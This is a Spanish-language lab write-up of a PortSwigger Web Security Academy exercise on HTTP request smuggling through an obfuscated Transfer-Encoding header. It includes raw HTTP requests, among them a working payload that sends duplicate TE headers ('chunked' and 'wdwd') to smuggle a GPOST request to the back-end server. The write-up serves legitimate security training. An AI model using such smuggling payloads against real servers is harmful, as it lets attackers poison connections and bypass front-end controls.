> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md).
# Contrabando de solicitudes HTTP ocultando la cabecera TE
Notas de Contrabando de solicitudes HTTP ocultando la cabecera TE para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.
### Contrabando de solicitudes HTTP, ofuscando el encabezado TE
Este laboratorio cuenta con un servidor frontal y un servidor interno. Ambos no tratan los encabezados HTTP duplicados de la misma manera. El servidor frontal rechaza cualquier solicitud cuyo método no sea **GET** o **POST**.
El objetivo es **enviar una solicitud contrabandeada al servidor de back-end** para que **la siguiente solicitud** interpretada por el servidor use el **GPOST** método.
**Nota:**/ Aunque el laboratorio admita HTTP/2, la solución se basa en técnicas que solo funcionan en **HTTP/1**, que debe seleccionarse manualmente en Burp Repeater.
**Consejo:**/ Los campos de longitud son delicados de ajustar manualmente. La extensión HTTP Request Smuggler de la BApp Store simplifica este trabajo.
#### **Análisis del comportamiento: el front-end favorece Content-Length**
Ejemplo de una solicitud en la que el front-end elige **CL**:
```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
3
abc
X
```
Aquí, la terminación del chunk (`X` en lugar de `0`) impide la interpretación correcta.
#### **Intento de inyección contrabandeada**
Una solicitud enviada tal cual no se interpreta como se pretende:
```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20
test=test
0
```
El comportamiento del front-end impide aquí la interpretación deseada.
#### **Evasión: ocultar el Transfer-Encoding principal**
Para eludir el mecanismo, coloque un **inválido** valor en el primer `Transfer-Encoding` encabezado, de modo que:
* la **extremo frontal** lo ignora debido a su valor incorrecto,
* pero el **extremo posterior** conserva el `Transfer-Encoding: chunked` encabezado válido.
Ejemplo funcional:
```http
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
```
```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
Content-Type: application/x-www-form-urlencoded
72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20
test=test
0
```
---
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